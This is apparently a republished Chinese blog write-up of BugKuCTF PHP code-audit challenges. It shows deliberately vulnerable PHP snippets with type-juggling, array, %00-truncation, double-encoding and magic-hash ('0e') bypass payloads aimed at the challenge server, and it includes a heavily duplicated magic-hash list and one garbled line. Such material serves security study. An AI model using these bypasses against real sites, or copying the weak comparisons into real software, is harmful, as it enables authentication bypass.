BugKuCtf-代码审计

1、extract变量覆盖

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)) { 
$content=trim(file_get_contents($flag)); 
if($shiyan==$content) { echo'flag{xxx}'; }
else { echo'Oh.no'; } }
?>

定义和用法

  • extract() 函数从数组中将变量导入到当前的符号表。

  • 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

  • 该函数返回成功设置的变量数目。

payload: http://123.206.87.240:9009/1.php?shiyan=&flag=

2、strcmp比较字符串

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) 
//如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else print 'No';
}
?>
  • isset()函数

isset ( mixed $var [, mixed $… ] ) : bool

isset — 检测变量是否已设置并且非 NULL

  • strcmp()函数

比较两个字符串(区分大小写)

payload: http://123.206.87.240:9009/6.php?a[]=1&flag=1


3、urldecode二次编码绕过

<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "Access granted!";
echo "flag";
}
?>
  • eregi()函数

eregi — 不区分大小写的正则表达式匹配.

本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。

  • 将hackerDJ进行二次Url编码

%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

  • payload:
http://123.206.87.240:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

4、md5()函数

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
  • 利用Md5不能处理数组
  • payload
http://123.206.87.240:9009/18.php?username[]= 1&password[]=2

5、数组返回NULL绕过

<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
  • strpos() 函数查找字符串在另一字符串中第一次出现的位置。

注释:strpos() 函数对大小写敏感。

注释:该函数是二进制安全的。

相关函数:

stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)

strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

  • ereg()和strpos()不能处理数组 payload:
http://123.206.87.240:9009/19.php?password[]=1
  • ereg()可以用%00进行截断 payload:
http://123.206.87.240:9009/19.php?password=1%00--

6、弱类型整数大小比较绕过

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){ echo $flag;
  • is_numeric()判断变量是否为数字或数字字符串
  • 解题思路:

is_numeric()函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对于第一个空格字符会跳过空格字符判断,接着后面的判断

PAYLOAD:

http://120.24.86.145:9009/22.php?password=2345%20
或者
http://120.24.86.145:9009/22.php?password=2345%00

7、sha()函数比较绕过

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else echo 'Invalid password.';
}
else
echo 'Login first!';
?>
  • 解题思路:

第一处if ($_GET[‘name’] == G E T [ p a s s w o r d ] ) e l s e i f ( s h a 1 ( _GET[&#x27;password&#x27;])判断时两数组确实是不同的,但在第二处else if (sha1( _GET[‘name’]) === sha1($_GET[‘password’]))判断时由于sha1()函数无法处理数组类型,将报错并返回false,false === false条件成立,这样就绕过了sha()函数获得flag

  • payload
http://123.206.87.240:9009/7.php?name[]=1&password[]=2

8、md5加密相等绕过

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

  • 解题思路:

构造$a != ‘QNKCDZO’ && $md51 == $md52,使用下面的PAYLOAD

常见的payload:
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020
  • payload
http://123.206.87.240:9009/13.php?a=240610708

9、十六进制与数字比较

<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
  • ord() 函数返回字符串的首个字符的 ASCII 值。
  • 解题思路:

将3735929054进行十六进制转换,得到deadc0de,在转换得到的字符前加上0x,使用0xdeadc0de来进行绕过

  • aPAYLOAD:
http://123.206.87.240:9009/20.php?password=0xdeadc0de

10、ereg正则%00截断

<?php
$flag = "xxx";
if (isset ($_GET['password']))
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo 'You password must be alphanumeric';
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
        die('Flag: ' . $flag);
    else
        echo('- have not been found');
else
    echo 'Invalid password';
    
?>
  • 解法一:使用数组绕过
http://123.206.87.240:9009/5.php?password[]=99999999 %00
  • 解法二:使用ereg()null截断漏洞,再使用科学计数法来构造strlen($_GET[‘password’]) < 8 && $_GET[‘password’]>9999999这个条件,即1000000000用1e9来表示,在加上-来构造满足strpos()``函数,于是构造?password=1e9%00*-*
http://123.206.87.240:9009/5.php?password=1e9%00*-*

11、strpos数组绕过

<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
  • payload:
http://123.206.87.240:9009/15.php?ctf[]=11%00#biubiubiu

12、数字验证正则绕过

<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
  • POST传递数据,只要小于12位就好啦
http://123.206.87.240:9009/21.php
POST: password=111

猜你喜欢

转载自blog.csdn.net/qq_37779690/article/details/88016571